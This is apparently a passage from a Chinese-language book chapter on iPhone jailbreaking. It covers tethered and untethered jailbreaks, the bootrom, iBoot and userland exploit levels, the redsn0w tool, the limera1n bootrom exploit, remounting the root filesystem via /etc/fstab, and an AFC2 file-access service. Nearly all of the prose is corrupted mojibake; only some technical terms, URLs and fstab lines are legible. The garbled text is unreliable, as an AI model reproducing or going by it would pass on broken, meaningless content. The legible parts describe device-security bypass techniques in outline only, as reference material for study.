૊ᨍՐᡐͺၸᄉᳫᄣúúࡂϷԪ᱑శʶಧǌᤇ᤯࣡௦ځ˝̴͂ᤈᛠᄉधԦ὇ඊݟၸਖ਼ቆᫍᄉ໣ว

ஈѣርࣿὈࣲʿ᜵යФ˿ᝌᡔ࿜ᄉЮᦉԓူǌ 
ʿ᣾Ὃݟ౦ܷࠑਆ᜵ᅻ᥊ᡔ࿜᣾ርᄉЮᦉࢹͺԓူὋᥦ˥Ժ̾ڙఴብ˖ᄹҁॡܲ᫇ᮤᄉኔ಴ǌ 
ՐὋੇۋኤ᜵̭ፀʿՎᄉᡔ࿜ዜڙ ͂͗̾redsn0wᡔ࿜˝Βࣛᮖܷࠑʶ൥൥˿ᝌ᝹ܫʼԦၶ

ᄉᡔ࿜᣾ርǌఴብᤆ̭ፀ˿ᡔ࿜੝ःၸЮನᛩʷᄉЮڙԓူὋ̾ Φܷࠑ˿ᝌᤇ̎ᛩʷ˖̎ג௦ॸ

᜵ᄉὋᏪ̎גԠ௦Ժᤤᄉǌ 

10.1� Ўԩ䍞⣅ 

Ѣ̅ࠪឰܲԓځᄉᏥᘼὋၸਖ਼͗˝̴͂ᄉiOS᝹ܫᡔ࿜ǌథ̠̎௦ځ˝ᭉ᜵ʶ˓ԺΘधԦᣃ

͇ᄉधஉࣰԻὋథ̎Ѷ௦ਆ᜵߸Кଌ҃Ф᝹ܫὋథ̠̎ᭉ᜵ၸᡔ࿜᝹ܫᤁᛠultrasn0wᤇಧᄉᣃ

͇̾ፈ᣾੣఺ᤁᖸ׷ᄉᩙ߿Ὃᤆథ̠̎௦˝˿΍ၸᄦྟःၸǌ 
ʿ᣾Ὃ߶Кᆐቂ̠տ˝iOS᝹ܫᡔ࿜ѶథᅋФ̴ԓځǌൣ࣡ৰхʽiPhoneԩҁːಪᄉᬌ҃Ὃ

ʿᑞ੯ᛠలኣՏᄉ̼ᆉὋᤇ௦᝿ͤጆፑ߶К੊ڙጆፑ˖ಉ੼߶К໣วᄉࢹͺ੝᭦˙ᄉॡܷᬩᆽǌ 
ԀΦ௦઴థᔰ౦МՂԦஉᄉiOSधԦ᠌ਖ਼Ὃځ˝థ෡ᄣ֖Ф̴ᬌ҃ὋᑞڙiPhoneʼᤁᛠᄉ̼

ᆉ˶௦థᬌᄉǌΒݟὋiOSʿЉ᝴ᤈር੯ᛠФ̴ᤈር੊ีၶᤈርǌ൤ܰὋ෡ᄣ͗᫽ൢᆐቂᏧዃஇ

Ф̴ःၸርࣿᄉ஠͇ὋᏪ˄ፋMobileSafariᬃҪុណ٧˶௦ʿԺᑞᄉǌ 
ᙉཨ̯௾᤯ᄉiPhoneःၸԺ̾೜฽ൣڙᤁᛠᄉᤈርᄉՏሥὋͭၸਖ਼෤Ҩ᫽ൢԺႠᤈርᤁᛠὋ

˶ʿᑞѫౡᤇ̎ᤈርڙϡ̣̎˥ǌݟ౦෤థԺၸᄉᡔ࿜ὋiPhoneᄉþͮᎵ᫂ÿ͇̂὇ځ˝bug࠭
ᒰၸਖ਼ᄉͮ߿ζোᜁ᫁యߚϱڙiPhoneʼὈࡂʿܷ͗ᄆܸ̅ʽǌ 

ణ˝᧗᜵ᄉ௦Ὃݟ౦෤థМधԦ࣊ᄉᡔ࿜ርࣿὋఴ˹ʼ̭ፀᄉܷᦉѫᆐቂ˶෤กᤈᛠǌܷࠑ

Ժᑞ͗ॡ৲ᝲὋܷܲஜiPhone߶Кᆐቂ̠տ۲ఴʼᦏԵ௦ᡔ࿜ࢹХᄉ΍ၸᏧὋᏪᡔ࿜ࢹХᄉधԦ

௦ၿiPhone Dev Team੊Chronic Dev Teamᤇಧᄉڃ᫲߸੆ᄉǌʿ ᣾Ὃᬣᅋᆵ͇֖ᣃ͇ᄉʿறᤈ൥Ὃ

ኃ ��ብ
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˝iOS᝹ܫᡔ࿜˶ᡔ౎ᡔᬱ˿Ὃځ൤ణݝ௦థఝܲ߶Кႌᄉ̠ܢᑞүᡔ࿜ڃ᫲ʶᒥ˧Ҧǌ࣎భఴ

ብଋʽ౎ᄉЮࠓᑞᝧܷࠑథТᡙ̾ڙՐԟˀҁᡔ࿜धԦ˖ǌ 

10.2� 䍞⣅ⱘ㉏ൟ 

ᙉཨࣱܲ̾౎̠͂ࣂፂ˝΍ၸܲஜiOSྟఴᄉiPhoneᡔ࿜Ὃࣲͭ᭣੝థᄉᡔ࿜ࢹХᦏଡΘᄰ

ՎᄉҩᑞǌѢဗᤇʶৰхᄉ˞᜵ԓ̅ڙځὋᡔ࿜ᄉ᠎᧙ॡܷርऎʼԨф̠̅͂Ժ̾੼ҁ̎ג߶К

໣วࣲѽၸ߱͂቉ᆠ᝹ܫᄉᬌ҃ǌॆཨὋᔰ౦МՂॡঋ͗ࡂ˿ᝌҁᡔ࿜੝ѽၸᄉ໣วὋࣲ˄᤯࣡

ᆵ͇˖ᄉὋ੝̾ᔰ౦МՂ̅ڙߚᤇ̎໣วǌʿ᣾Ὃథௐϊ໣ว௦ܬʽʶྟᄉiOS˖νڙԺᑞࡉ͗

෤ก᤯᣾ኤӬᄉᣃ͇ӣጞνܬᤇ̎໣วǌԵథளᆵ͇੥ᑞᝌфᤇʶ᫇ᮤὋᏪᔰ౦МՂ͗ᔈʼॡ᫁

ʶൿௐᫍ౎νܬᤇ̎໣วὋځ˝ᤇᭉ᜵ኍҁʽʶ̼ᄉiPhone੊iPadԦ࣊ǌ 

10.2.1� 䍞⣅ⱘᣕЙᗻ 

಩૵ၸ̅ᡔ࿜ᄉ໣วᄉʿՎὋᡔ࿜ᄉ஌౦Ժᑞ௦૆ˣᄉὋ˶Ժᑞڙ᝹ܫС఺вध఺Ր๖ܾǌ

˝˿ଠᤗᤇˏሗᡔ࿜Ὃᡔ࿜ႌᄉ̠ܢलЙ˿ʿ߸Ꮎᡔ࿜὇tethered jailbreakὈ֖ ߸Ꮎᡔ࿜὇untethered 
jailbreakὈᤇˏሗឬกǌ 

1. ϡᅠ㕢䍞⣅ 
੝៊ʿ߸Ꮎᡔ࿜ࡂ௦ૈॆ᝹ܫ᧗ըՐ͗๖ܾᄉᡔ࿜Ὃ΍ၸᏧڙඇ൒᧗ը᝹ܫՐᦏ᜵᧗ள˝᝹

ᤇʶ᣾ር᜵ၸҁUSBᤋଋ˝ځᤋଋҁ᝟ኪ఺ʼǌܫ᝹࠱ᡔ࿜ǌᤇज़ज़਒։ᅋඇ൒धС఺ௐᦏ᜵ܫ

ጲὋ੝̾þʿ߸Ꮎÿ὇tetheredὈĿ௦ឬ३᤯ᄉǌʿ᣾Ὃࡂኪʿᭉ᜵USBᤋଋὋᤇ˶ᭉ᜵᝺᫇ྱ߿Ꭹ

ቢ੊੯ᛠྱ߿ःၸርࣿ᧗ளᡔ࿜ὋᏪᤇ˶ቿՋþʿ߸Ꮎÿᄉឬกǌ 
౦᜵ѽၸᄉ໣วͮ̅౼̎Хథྱాᄉ̼ᆉ˖Ὃʿݟ ߸Ꮎᡔ࿜ࡂԺᑞԵၿʶ˓᜵ѽၸᄉ໣วౝ

੆ǌॆґܷܲஜiOS 4֖iOS 5ᄉᡔ࿜ࢹХᦏၸҁᄉlimera1n bootrom໣วஈѣርࣿࡂ௦ᤇಧʶ˓

ΒߔǌԲʶ˓Βߔ௦᧪ࠪiOSᄉUSBЮನ᯵Үርࣿ˖ڙߚᄉ໣วᤈᛠஈѣᄉርࣿǌʿ᣾Ὃॆґ࠺

లథᤇಧᄉ໣ว੊ஈѣርࣿМधǌ 
ᄉःၸር࠵Ժᑞ᜵ѽၸྱాఝࡂܫ౦෤థᤇಧᄉ໣ว੊ஈѣርࣿԺѽၸὋ᜵ΥЙ᝹ݟ ὇ࣿඊ

౦෤థᮨܰᄉЮನݟ˝ځᄉ໣วǌʿ᣾Ὃᤇሗ໣ว෤กӬ࿗ౝ੆ᡔ࿜Ὃڙߚ˖MobileSafariὈݟ

໣วஈѣርࣿὋࡂʿԺᑞሄၸ੝థᄉ߶Кҩᑞǌ 
੝థʿ߸Ꮎᡔ࿜Ժᑞ௦ၿʶ˓᧪ࠪྱా̼ᆉᄉ໣วஈѣርࣿౝ੆Ὃ੊௦ၿʶ˓᧪ࠪ᭣ྱా̼

ᆉᄉ໣วஈѣርࣿҪʼʶ˓ଡӣాᬌᄉ໣วஈѣርࣿౝ੆ǌ 
2. ᅠ㕢䍞⣅ 
߸Ꮎᡔ࿜௦ૈᥦ̎ѽၸ˿૆ˣ໣วᄉᡔ࿜Ὃ߱ ˧Ր˶ʿ͗๖ܾǌܫ᧗ը᝹ڙ͂ ੝̾ឬ߱͂௦

߸Ꮎ὇untetheredὈᡔ࿜Ὃ௦ځ˝΍ၸᏧʿၸڙඇ൒᧗ը᝹ܫՐᦏ᧗ளᡔ࿜ǌځ൤Ὃ߱͂௦ఝ·

ᄉᡔ࿜्यǌ 

üüüüüüüüüü�
Ŀ tetheredԓૈþᜁ፣ߔિͰᄉÿὋ᝹ܫ᜵ၸUSBᤋଋጲᤋҁ᝟ኪ఺ʼൣՋ˪ᤇʶᝌ᧕ǌúúដᏧซ 
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᣾ԜὋڙဗᡐ౎ᒬཨ᜵ᬱ३ܲǌࠃᄉͮᎵѢဗ໣วὋ੝̾߿Ꮎᡔ࿜ᭉ᜵ल࠭ᩖ˖᭣࣡ྱ߸˝ځ

ᤇ௦Ժ̾ࠃဗᄉὋڙ̠͂˝ځᆵ͇˖Ԧဗ˿᭣࣡ː᧗ᄉ໣วὋ΍३ڙल࠭ᩖ˖ࠪ᝹ܫᤈᛠ໣วஈ

ѣԪ३᭣࣡ࠓ௛ǌʿ᣾ဗڙᤇ̎໣วᦏࣂፂʿڙߚ˿ὋᏪ˄Վኍපࣰᄉ໣วͪ˪ᤆ෤థѢဗǌ 
ᄉФ̴໣วஈѣር्ࣿڙߚʼ૆ˣܫ᝹ڙ൤Ὃ߸Ꮎᡔ࿜᤯࣡ၿ౼̎ʿ߸Ꮎᡔ࿜ፆՋԺ̾ځ

੆ǌ̅௦Ὃణѹᄉʿ߸Ꮎᡔ࿜ၸ౎ઁᬃҪᄉ໣วஈѣርࣿ߶ᜈҁ᝹ܫᄉ಩஠͇ጆፑ˖ǌੇ͂ᤆॸ

ᮋ઴థԲˏ˓໣วஈѣርࣿὋځ˝ᯪЎॸᮋ᜵ᑞ੯ᛠ͉਒లኣՏᄉ̼ᆉὋཨՐᭉ᜵ଡӣాᬌ੥ᑞ

ፋЮನ੩ᛩʷǌ 
ଋʽ౎ੇ͂К᜹ᄰСЮࠓὋᝧܷଁࠑଦ˝᝹ܫख़ऄᡔ࿜੝ᭉ᜵ᄉХͳୱͺǌ 

10.2.2� ⓣ⋲ᬏߏ⿟ᑣⱘ㉏ൟ 

໣วᄉͮᎵ͗ॕֽ;ࠪ̅᝹ܫᄉ᝺᫇ጞѾǌʁ ̎໣วԺ̾ଡΘऄࡎᄉᆵ͇᝺᫇ὋᏪԲʶ̎Ե

ᑞፋ̀෡ᄣЮᄉథᬌాᬌǌ 
1. bootrom㑻 
iPhoneᄉᆵ͇˖Ὃڙᡔ࿜धԦᏧᄹ౎Ὃbootromጞᄉ໣ว௦ణ˝ुܷᄉ໣วǌbootromӉդڙ

଍ᤞᣃ͇ఝள෤กνܬФ˖ᄉ໣วὋ׬ʶᄉழกࡂ௦଍Ѣʽʶ̼ᄉᆵ͇ǌࡉክڙ΍ၸA5٧ူܪ

ᄉ᝹ܫiPad 2֖iPhone 4Sઅஉڣࣉ˧ґὋlimera1n໣วࣂፂڙߚॡ᫁ʶൿௐᫍ˿Ὃͭᔰ౦МՂ

ࣲ෤థ଍ѢiPad੊iPhone 4ᄉνൣྟǌ 
bootromጞᄉ໣ว˧੝̾ణुܷὋʿԵ௦ځ˝ᤇ̎໣ว෤กνܬὋᤆ͂߱̅ڙᝧܷࠑᑞܴఢ

૰੊νஇஞ˓ल࠭ᩖᄉඇʶᦉѫὋӉહЮನᄉल࠭ԟஜǌ൤ܰὋځ˝໣วஈѣԦၶڙल࠭ᩖ᭣࣡

᭤ґᄉௐయὋ੝̾໣วஈѣథ஌ᣑᕲԺ̾३ҁࠪᆵ͇ᄉ߸К᝺᫇ాǌΒݟὋੇ͂Ժ̾΍ၸAESᆵ
͇Ҫᤳ٧ᄉGIDࠚᨄ˝IMG3஠͇ᝌࠚὋᤇಧࡂԺ̾ᝌࠚளᄉiOSఝள˿ǌ 

2. iBoot㑻 
Ժ̾ଡΘᄉྱবᏪᝒὋiBoot˖ᄉ໣วі˪ˀbootrom˖ᄉ໣วՎಧुܷǌᤇ̎໣วᄉ͂߱ࡂ

ʿᡛ˧̅ڙܪiBoot෤థདेҁᆵ͇˖Ὃځ൤Ե᜵᤯᣾ᣃ͇ӣጞࡂᑞνܬᤇ̎໣วǌ 
ᬓ൤˧ܰὋiBootڙल࠭ᩖ˖̮̅ܪᡛܴ௉యᄉͮᎵὋ൤ௐੇ͂Ժ̾˝ЮನଡΘल࠭ԟஜǋ

˝Юನ੩ᛩʷὋ੊ᄯଋઁᆵ͇ၸ̅੯ᛠGIDࠚᨄᄉAESୱͺǌ 
3. ⫼᠋ぎ䯈㑻 
ϷJBME3὇http://jailbreakme.comὈᤇಧᄉၸਖ਼ቆᫍᡔ࿜Ѷ߸К۲̅ၸਖ਼ቆᫍᤈር˖ᄉ໣วǌ

ᤇ̎ᤈር᜵˥௦̾rootၸਖ਼ాᬌᤁᛠᄉ὇ݟ౦߱͂௦ጆፑᤈርὈὋ᜵˥௦̾ాᬌᣖͯᄉၸਖ਼὇ඊ

ˏᭉ᜵࠵ᤇˏሗৰхʽὋੇ͂ᦏᒯڙ౦߱͂௦ၸਖ਼ःၸርࣿὈǌݟmobileၸਖ਼Ὀాᬌᤁᛠᄉ὇ݟ

˓໣วஈѣርࣿ੥ᑞ˝᝹ܫᡔ࿜ǌኃʶ˓໣วஈѣርࣿ᜵ᝧ᝹ܫᑞ੯ᛠ͉਒̼ᆉὋᏪኃ̃˓໣ว

ஈѣርࣿѶ᜵̾ʶሗሄၸЮನ߶Кᬌ҃ᄉழयଡӣాᬌǌ 
థԺᑞ̯ၸਖ਼ቆᫍሄၸࡂґྟఴᄉiOS˖ὋԵ᜵ᜁஈѣᄉᤈር௦̾rootၸਖ਼ాᬌᤁᛠὋ̾ڙ

̼ᆉኣՏ὚Ꮺဗڙਆ᜵ሄၸ̼ᆉኣՏ఺҃Ὃॸᮋ᜵˖றЮನЮߚ੊੯ᛠЮನ̼ᆉǌ 
ˀbootrom֖iBootጞᄉ໣วᄰඊὋၸਖ਼ቆᫍᄉ໣ว෤థᥦ˥ुܷὋځ˝ԀΦᑞܴ੯ᛠЮನ̼
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ᆉὋϷAESҪᤳ٧ᄉGIDࠚᨄᤇಧᄉʶ̎ᆵ͇ҩᑞ˶ʿᑞв΍ၸ˿ǌ൤ܰὋᔰ౦МՂ˶ఝࠓ௛ν

ᤇ̎໣ว˶Ժᑞၸ౎ᝧ˝ځᤉርၸਖ਼ቆᫍ໣วὋܬᤇ̎ၸਖ਼ቆᫍᄉ໣วὋᏪ˄᤯࣡͗ॡঋνܬ

iPhoneਕ౿ৎ਒ᣃ͇ǌ 

10.3� ⧚㾷䍞⣅䖛⿟ 

ఴᓫ᜵̭ፀredsn0w὇ጙᭂὈᡔ࿜ࢹХᄉЮᦉࢹͺ఺҃ǌឞࢹХ௦ၿiPhone Dev TeamधԦᄉὋ

Ժ̯̾ФᎩቢhttp://blog.iphone-dev.org/ʽᣑǌᤇ௦ॆґ˝A5٧ူܪѢဗ˧ґᄉᔰ౦᝹ܫᡔ࿜ௐణ

࣡ၸҁᄉࢹХὋځ˝߱Ժ̾ஂ૆ፏܷܲஜᄉiOSྟఴὋ᭣࣡௛̅΍ၸὋᏪ˄ͪ˪௦ణሶ߿ᄉᡔ࿜Ὃ

 Windows֖Mac OS Xୱͺጆፑ˖ᦏԺ̾΍ၸǌڙ
థ˿redsn0wὋᡔ࿜ʿ᣾ࡂ௦ཁѣі˓૊ᨍὋࣲઁiPhone᝹Ꮅ੆DFU὇Device Firmware 

UpgradeὋ᝹͇ڌܫӣጞὈഴयǌᤇಧʶ౎Ὃᡔ࿜ࡂኪࠪᥦ̎ਆ˝iPhoneᡔ࿜ᄉள੣ၸਖ਼౎ឬᦏ

ᡛܴኤӬǌࡘ1-10ڎᇧ˿redsn0wᄉ൓ᤀႌ᭦ǌ 

 

�1-10ڎ redsn0wᄉըҮႆ᭦ 

ཁѣJailbreak὇ᡔ࿜Ὀ૊ᨍՐὋredsn0w͗ल࠭΍ၸᏧઁiPhone᝹Ꮅ੆DFUഴयὋཨՐ಩ڙ

૵΍ၸᏧᤋଋᄉ᝹ܫଡΘʶ̎ԺΘᤤસᄉʿՎᡔ࿜ҩᑞǌ΍ၸᏧԵ᜵ᤤ߿ᤤᮉ὇Β͉ܲݟҫ੣

ҸὈὋཁѣNext૊ᨍὋཨՐኍᅋredsn0w߸੆ࢹͺࡂᛠ˿ǌ 
ᙉཨڙၸਖ਼ᅊ᧖ᤇ௦˓᭣࣡ኤӬᄉ᣾ርὋͭ ࣪ՐФࠃԦၶ˿ॡܲ̂ৰὋᏪ˄ᬓ˿ᡔ࿜ᮖ۪ᄉ

ʶᦉѫ̠Ὃ෤̠ᄽൣ˿ᝌԦၶᄉᤇ̎̂ǌ᤯ឳଋʽ౎ᄉіᓫՐὋᄰζܷࡂࠑᑞܴ੆˝˿ᝌredsn0w

Юᦉࢹͺ఺҃ᄉʶտ˿ǌ 
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ଋʽ౎ᤇіᓫ˖੝థᄉζোᦏ௦ڙԓͺᏧᄉ᝴ԺʽὋ̯ redsn0wᡔ࿜ࢹХᄉԥᎃដ஠͇˖ଡ

ԨѢ౎ᄉǌځ˝iPad2੊iPhone 4SᤇಧᄉA5᝹ܫʿࣂڙߚፂМधᄉbootrom໣วὋ͉ʹ᧪ࠪᤇ̎᝹

ᄉᡔ࿜ᦏ௦ၸਖ਼ቆᫍጞѾᄉǌʿ᣾ὋᤇԵ਒։ᅋґˏ൥ୱͺ὇̯bootromᤈᛠ໣วஈѣࣲल࠭ܫ

ramdiskὈॸᮋఢ૰੆ዜͪ̅ЎࠪMobileSafariᤈᛠ໣วஈѣвѽၸЮನ໣วᄉˏ൥ୱͺǌқʽᄉ

ᡔ࿜᣾ርᦏ௦ᄰՎᄉǌ 

10.3.1� ᇍbootrom䖯㸠ⓣ⋲ᬏߏ 

redsn0wᄉᡔ࿜᣾ርᯪЎ͗ѽၸlimera1n὇፮ᭀὈDFU bootrom໣วஈѣርࣿ̾ᑞ᣹ҁᄉణ

ᰳྱాኍጞ੯ᛠ̼ᆉǌ᜵ஈѣᄉ໣ว௦A5᫇ˆ˧ґᄉ᝹ܫ˖bootromᄉUSB DFUಖڙߚᄉ۶ᎀу

ӜຼѢǌੇ͂ڙᤇ᧖ʿ͗ᝦ᝶ឞ໣วᄉХͳζোὋݟ౦ܷࠪࠑឞ໣วਕТᡙᄉពὋԺ̾ڙ

THEiPHONEWiKi὇http://theiphonewiki.com/wiki/index.php?title=Limera1n_Exploit)˧ዜᄉڠழ੼

ҁࠪឞ໣วᄉଠᤗ̾Ԣ໣วஈѣርࣿǌ 
ࠪ̅ੇ͂᜵̭ፀᄉЮࠓ౎ឬὋܷ׬ࠑʶᭉ᜵˿ᝌᄉࡂ௦ឞ໣วஈѣርࣿ͗ፋbootrom̼ᆉ˖

ᄉኣՏᰍ᝼੩ʼᛩʷὋ̯Ꮺ΍ܷࠑᑞल͉࠭਒ramdiskὋࣲ˝LLB὇Low-Level-BootloaderὋऄࡎ

ल࠭ҪᣑርࣿὈǋiBoot֖Юನ੩ᛩʷǌChronic Dev TeamڙGitHubʼஉѢ˿ᑞ੯ᛠᤇ̎ୱͺᄉຸ

̼ᆉ὇https://github.com/Chronic-Dev/syringeὈǌݟ౦ܷࠑਆ̯ܿधݼᎃзᒬࣁᄉᡔ࿜ࢹХὋᤇ௦

˓ʿᩱᄉᡐཁὋځ˝redsn0wᄉຸ̼ᆉ෤థМधǌ 

10.3.2� ᓩᇐramdisk 

redsn0wѽၸlimera1n໣วஈѣርࣿल࠭νஇ᣾ᄉጆፑὋឞጆፑ΍ၸ˿੩᣾ᛩʷᄉЮನ֖

ᮔЎ҃߿ᄉramdiskǌЮನᜁ੩ʼ˿ᔩ࣯˓ᡔ࿜ᛩʷὋ̯ᏪЉ᝴੯ᛠలኣՏ̼ᆉǌʿ᣾Ὃᤇ᧖᭦

ԵӉդ˿ʶᦉѫڙ߸Ꮎᡔ࿜ᄉጆፑ˖࣡᜸ᄉЮನᛩʷǌឞramdisk௦ඇ൒੯ᛠᡔ࿜ௐ૊᜵යၶ੆

ᄉὋځ˝಩૵ၸਖ਼ڙ੯ᛠᡔ࿜ௐՉᮉ᝹ᎵᄉʿՎᭉ᜵ڙramdisk಩ᄫे˖ѸतʿՎᄉ஠͇ǌཨՐὋ

ឞramdiskʼᄉᡔ࿜Ժ੯ᛠ஠͇͗೜฽Ѣဗ˿̎ג஠͇Ὃ̯Ꮺф߿ःឞ༎าredsn0wᄉ̎גҩᑞǌ

ΒݟὋݟ౦ѢဗՏ˝/noUntetherHacksᄉ஠͇Ὃ߱͗ࡂ᡹᣾߸Ꮎᡔ࿜໣วஈѣርࣿᄉ߶ᜈǌ 
੯ᛠФ˖ᄉ/sbin/launchd̃ᤈ҃஠͇ὋᏪ൤஠͇˖Ӊդ˿ѹ͗ࡂल࠭߸ឞramdiskՐὋЮನڙ

᜵ͺ˝ځ಩ǌឞ̃ᤈ҃஠͇ᯪЎ͗ઁ಩஠͇ጆፑ֖ஜ૵ᦉѫેଋҁጆፑ˖ǌߚ࠴ХᄉࢹӐᡔ࿜ݼ

ѢνஇὋ੝̾ેଋᄉᤇˏᮉЮࠓᦏ௦ԺឳзᄉǌణՐὋՏ˝jailbreakᄉԺ੯ᛠ஠͇͗ଋክʶѬࣲ

੯ᛠଋʽ౎ᄉ൥ᰠǌ 

10.3.3� Ў᭛ӊ㋏㒳䍞⣅ 

᳭ᝢৰхʽὋiPhoneᄉ஠͇ጆፑѫ˝ˏᦉѫǌኃʶᦉѫ௦಩஠͇ጆፑὋФ˖ӉդᅋiOSୱͺ

ጆፑ஠͇̾ԢMobileMail੊MobileSafariᤇಧᄉಕэःၸርࣿǌڙiOSᄉᣖ௉యྟఴ˖Ὃ಩஠͇ጆ

ፑᄉܷ࠴ጝኍ̅ᤇᦉѫ੝Ӊդ஠͇ᄉܷ࠴Ὃ۲ఴ෤థܲ࠵қͷᄉቆ᫋ቆᫍǌᏪဗڙᄉ಩஠͇ጆፑ

൤᳭ᝢ௦̾Եځጝ˝1 GBὋࣲ˄థ200 MBᄉቆ᫋ቆᫍὋᤇ̎ቆ᫋ቆᫍःឞ௦ʿԺνஇᄉὋ࠴ܷ
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ឳழयેଋᄉǌᏪ᝹ߚܫϱቆᫍᄉқͷᦉѫѶ͗ѫᦠፋኃ̃ᦉѫúúஜ૵ᦉѫὋឞᦉѫ̾Ժឳз

ழयેଋҁ/private/varᄫेǌᤇ௦ၿ಩஠͇ጆፑ˖ᄉ/etc/fstab஠͇ᦠᎵᄉǌ 

/dev/disk0s1 / hfs ro 0 1 

/dev/disk0s2 /private/var hfs rw,nosuid,nodev 0 2 

ځԺ̾ᄹҁᄉὋஜ૵ᦉѫᄉેଋᦠᎵդథಕংnodev֖nosuidǌnodevಕংᆷγ὇ࠑܷݟൣ

˝஠͇ጆፑጞᄉஈѣὈԺᑞѢဗڙԺзஜ૵ᦉѫᄉ᝹ܫᓫཁ࠱ᜁ঒႔ὋnosuidಕংѶ͗նឃЮ

ನ঒႔ஜ૵ᦉѫ˖Ժ੯ᛠ஠͇ᄉsuidͮǌᏪsuidͮಕ᝭ᄉԺ੯ᛠ஠͇ᭉ᜵̾rootాᬌᤁᛠὋ੊

ʶᓉৰхʽ̾ʶ˓ʿՎၸਖ਼὇ࣲ᭣ᥦ˓੯ᛠឞ஠͇ᄉၸਖ਼Ὀᄉᢵ͊ᤁᛠǌځ൤Ὃᤇˏ˓ಕংԺ̾

�᫸ጲǌۋ࠴iOSЮᦉ᝹Ꮅʶ᥊᫸७ాᬌଡӣ໣วஈѣርࣿᄉڙ

ᤇሗ᳭ᝢᦠᎵࠪ̅੝థᡔ࿜ࢹХ౎ឬᦏ௦˓᫇ᮤὋʿክ௦bootromጞᄉᡔ࿜ᤆ௦ၸਖ਼ቆᫍጞ

ᄉᡔ࿜Ὃځ˝ᤇ̎ᡔ࿜ᦏᭉ᜵ࠪ಩஠͇ጆፑᤈᛠνஇὋ̾యڙ᧗ըՐፘ፝ߚาὋ੊௦ᑞຊҪᮨܰ

ᄉߵએᤈር֖నҫǌᤇಧʶ౎Ὃඇሗᡔ࿜ڙԨ३rootాᬌՐᄉኃʶᮉาҮᦏ௦̾Ժឳзழयે

ଋ὇᧗ளેଋὈ಩஠͇ጆፑǌ˝˿ڙ᧗ըՐγ૆ᤇሗஇԪὋʽʶ൥௦᜵ၸʽ᭦ᄉЮࠓఢ૰ጆፑᄉ

/tec/fstab஠͇Ὑ 

/dev/disk0s1 / hfs rw 0 1 

/dev/disk0s2 /private/var hfs rw 0 2 

ளᄉ஠͇ጆፑᦠᎵ͗̾ԺឳзழयᣑЙ಩஠͇ጆፑὋࣲ ̯ኃ̃ᦉѫᄉેଋᦠᎵ˖ሧᬓnodev

֖nosuidಕংǌ�

10.3.4� ᅝ㺙ᅠ㕢䍞⣅ⓣ⋲ᬏߏ⿟ᑣ 

ඇॆளྟiOS᫇ˆௐὋ˧ґԦဗᄉ໣ว͗ࡂᜁ܃࠯ǌځ൤ڙߚᤇಧʶ˓ௐయὋࡂ௦redsn0w

 ᡔ࿜Ὃͭʿᑞ߶ᜈ߸Ꮎᡔ࿜໣วஈѣርࣿǌ͇ڌᄉளܫХԺ̾˝ே᝹ࢹ
ʶெѢဗளᄉ߸Ꮎᡔ࿜໣วஈѣርࣿὋredsn0wᄉͺᏧࠪ͗ࡂФᤈᛠνஇὋ΍redsn0wᑞ߶

ᜈឞ໣วஈѣርࣿǌځ˝ඇݒᤇಧᄉ໣วஈѣርࣿᦏʿՎὋ੝̾߱͂঳ᭉ᜵ʿՎᄉ߶ᜈ൥ᰠǌ 
ʿ᣾Ὃᙉཨࠃᬄᄉ߸Ꮎᡔ࿜߶ᜈ᣾ርʿՎὋͭ ௦ᤇ᤯࣡ʿ᣾௦᧗֐Տ੊ሧҮ಩஠͇ጆፑ˖ᄉ

౼̎஠͇ὋཨՐ࠱ʶ̎ᮨܰᄉ஠͇҃ܬҁ಩஠͇ጆፑ˖ǌॆܷࠑԥᎃដॆґྟఴᄉredsn0wௐὋ

Ժ̾ᄹҁ߱ᑞஂ૆˝̯4.2.1ҁ5.0.1ᄉܷܲஜiOSྟఴ߶ᜈ߸Ꮎᡔ࿜ርࣿὋࣲᑞ˿ᝌҁඇሗ߸Ꮎᡔ

࿜Хͳᭉ᜵̎ג஠͇ǌ 

10.3.5� ᅝ㺙AFC2 ᳡ࡵ 

AFC὇Apple File ConnectionὋᔰ౦஠͇ᤋଋὈ௦ඇʶᦉiPhoneʼᦏ͗ᤁᛠᄉ஠͇͛ᣤనҫὋ

߱ᝧၸਖ਼Ժ̾᤯᣾USBᤋଋ᝺᫇iPhone޴ͳ஠͇ᄫे/var/mobile/Media˖ᄉ஠͇ǌឞనҫ௦᤯᣾

lockdowndߵએᤈርଡΘᄉὋᏪ˄Տ˝com.apple.afcǌʿ᣾ὋlockdowndԵ௦ଡΘࠪឞనҫ

ᄉ᝺᫇Ὃ߱ᄉࠃᬄࠃဗڙafcdߵએᤈር˖ǌੇ͂Ժ̾ڙMac఺ʼ᤯᣾MobileDevice. 

frameworkὋ੊ڙWindows PC఺ʼ᤯᣾iTunesMobileDevice.dll᝺᫇ឞనҫǌ 
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ኃ̃ᮉlockdowndనҫซбᄉՏሥ௦com.apple.crashreportcopymobileὋ߱˶௦ၿ

afcdࠃဗᄉὋၸ̅࢜࠱ຳઐն٧ᄉઐն̯᝹҃ܬܫҁ᝟ኪ఺ὋᏪ˄˝ФଡΘᄉឳз᝺᫇ాᬌ̨

ᬌ̅ឳз/var/mobile/Library/Logs/CrashReporterᄫेԢФߔᄫेǌ 
ᄉᄫेὋ੝̾߱߿ྱڙ߿ᤇˏᮉనҫᦏԵ௦̾mobileၸਖ਼ᄉాᬌᤁᛠᄉὋᏪ˄ᦏᜁᩙ˝ځ

͂ࠪ̅ᡔ࿜Ꮺᝒͺၸథᬌǌځ൤Ὃredsn0w֖Ф̴ʶ̎ᣖ௉యᄉᡔ࿜ࢹХᦏ͗ၸlockdowndซб

ʶ˓ᮨܰᄉనҫcom.apple.afc2ǌឞనҫѽၸafcdߵએᤈርଡΘࠪஞ˓஠͇ጆፑrootాᬌᄉ

ឳз᝺᫇Ὃᤇ௦ᡔ࿜ࢹХʶᮉᄰॆӿᬖᄉҩᑞὋᏪ˄ॡܲၸਖ਼ʿᅻ᥊థᤇ˓ҩᑞǌᤇ۲ఴʼࡂ਒

։ᅋ࠱ڙʶԻ෤థࠚᆉ੊̅ܪలᩙ߿࿃খᄉࣂᡔ࿜iPhoneᤋଋҁUSBܰଋႂຸ੊̴̠ᄉ᝟ኪ఺

ʼௐὋڙ෤థၸਖ਼̓̈ᄉৰхʽԲʶቪᑞឳзஞ˓஠͇ጆፑǌᏪᤇಧԲʶቪᄉ̠ࡂᑞᄦቊ੝ᤋଋ

iPhoneʼᄉ੝థஜ૵੊ೱЙrootkitርࣿǌ 
᤯᣾இԪ/System/Library/Lockdown/Services.plist஠͇˖ᄉlockdowndᦠᎵὋੇ͂ࡂᑞ߶ᜈ

